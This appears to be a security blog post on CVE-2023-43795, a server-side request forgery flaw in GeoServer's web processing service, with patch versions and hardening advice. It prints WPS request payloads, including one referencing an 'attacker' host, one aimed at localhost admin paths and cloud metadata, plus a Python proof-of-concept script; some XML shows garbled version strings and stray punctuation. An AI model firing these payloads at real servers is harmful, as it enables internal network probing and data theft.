GeoServer is a powerful, open-source server written in Java, enabling the sharing and editing of geospatial data. It’s used by thousands of organizations, government agencies, and researchers worldwide. But just recently, a dangerous hole was discovered in GeoServer’s armor: CVE-2023-43795.

In this post, we’ll explain what went wrong, how attackers could exploit this bug, and how you can secure your GeoServer now. If you rely on GeoServer’s OGC Web Processing Service (WPS), keep reading – your internal network could be at risk.

What is the OGC Web Processing Service (WPS)?

The OGC WPS is a standard for web-based processing of geospatial data. It allows clients to call processing services on the server using HTTP GET or POST requests. This means the server can fetch and process data—sometimes from URLs you provide.

WPS capabilities are powerful, but with great power comes great responsibility. If user input isn’t checked, attackers can make GeoServer visit URLs it shouldn’t. That’s what led to this vulnerability.

Understanding CVE-2023-43795

CVE-2023-43795 is a Server-Side Request Forgery (SSRF) vulnerability in GeoServer’s WPS implementation.

What’s SSRF?

SSRF means an attacker tricks a server into making HTTP requests to any URL the attacker wants. This can be used to bypass firewalls, access internal-only services, or exfiltrate sensitive data.

How did it happen in GeoServer?

GeoServer lets you use the WPS service to process geospatial data from remote URLs, using requests like:

  POST /geoserver/ows
  Content-Type: text/xml

  <wps:Execute ...>
    ...
    <wps:DataInputs>
      <wps:Input>
        <ows:Identifier>data</ows:Identifier>
        <wps:Reference xlink:href="http://remote-attacker.com/malicious"; .../>
      </wps:Input>
    </wps:DataInputs>
    ...
  </wps:Execute>

GeoServer would fetch the data from xlink:href, no questions asked—even if that URL pointed to internal or sensitive endpoints.

Here’s a real-world exploit scenario

Imagine your GeoServer is running inside your company network, with access to internal systems (say, databases or an admin interface on http://localhost:808). An attacker on the internet sends a WPS request with this payload:

<wps:Execute xmlns:wps="http://www.opengis.net/wps/1..";
  xmlns:ows="http://www.opengis.net/ows/1.1";
  service="WPS" version="1.." 
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance";
  xsi:schemaLocation="http://www.opengis.net/wps/1.. 
  http://schemas.opengis.net/wps/1../wpsAll.xsd">;
  <ows:Identifier>someProcess</ows:Identifier>
  <wps:DataInputs>
    <wps:Input>
      <ows:Identifier>data</ows:Identifier>
      <wps:Reference xlink:href="http://localhost:808/admin-secret" xlink:type="simple"/>
    </wps:Input>
  </wps:DataInputs>
  <wps:ResponseForm>...</wps:ResponseForm>
</wps:Execute>

What happens next?

- GeoServer receives the request and happily fetches the http://localhost:808/admin-secret resource, since it doesn’t check the URL.

Probe your internal network for open ports and services.

- Access cloud metadata endpoints (like http://169.254.169.254/ on AWS).

Here’s a Python script to send the exploit request (for testing only on your own servers!)

import requests

endpoint = 'http://your-geoserver-host/geoserver/ows';
data = '''<wps:Execute xmlns:wps="http://www.opengis.net/wps/1..";
xmlns:ows="http://www.opengis.net/ows/1.1";
service="WPS" version="1..">
  <ows:Identifier>gs:BufferFeatureCollection</ows:Identifier>
  <wps:DataInputs>
    <wps:Input>
      <ows:Identifier>features</ows:Identifier>
      <wps:Reference xlink:href="http://localhost:808/secret" xlink:type="simple"/>
    </wps:Input>
  </wps:DataInputs>
  <wps:ResponseForm>...</wps:ResponseForm>
</wps:Execute>'''

headers = {'Content-Type': 'text/xml'}
response = requests.post(endpoint, headers=headers, data=data)
print(response.text)

Fixing the Problem

The GeoServer team quickly fixed this issue in versions 2.22.5 and 2.23.2.

What did the patch do?

- It added URL validation, blocking access to internal addresses (e.g., localhost, internal IPs, file://).

Upgrade Now to version 2.22.5, 2.23.2, or later.

- Check your configurations: Never expose GeoServer’s admin/WPS endpoints directly to the internet without access controls.

References

- GeoServer Security Advisory for CVE-2023-43795
- OGC WPS Specification
- GeoServer official homepage

Conclusion

CVE-2023-43795 is a textbook example of the dangers of SSRF. GeoServer’s powerful features can backfire without proper validation, making your infrastructure a target. If you use GeoServer, patch today. And always review which URLs your services will fetch for your users!

Timeline

Published on: 10/25/2023 18:17:32 UTC
Last modified on: 11/01/2023 16:19:00 UTC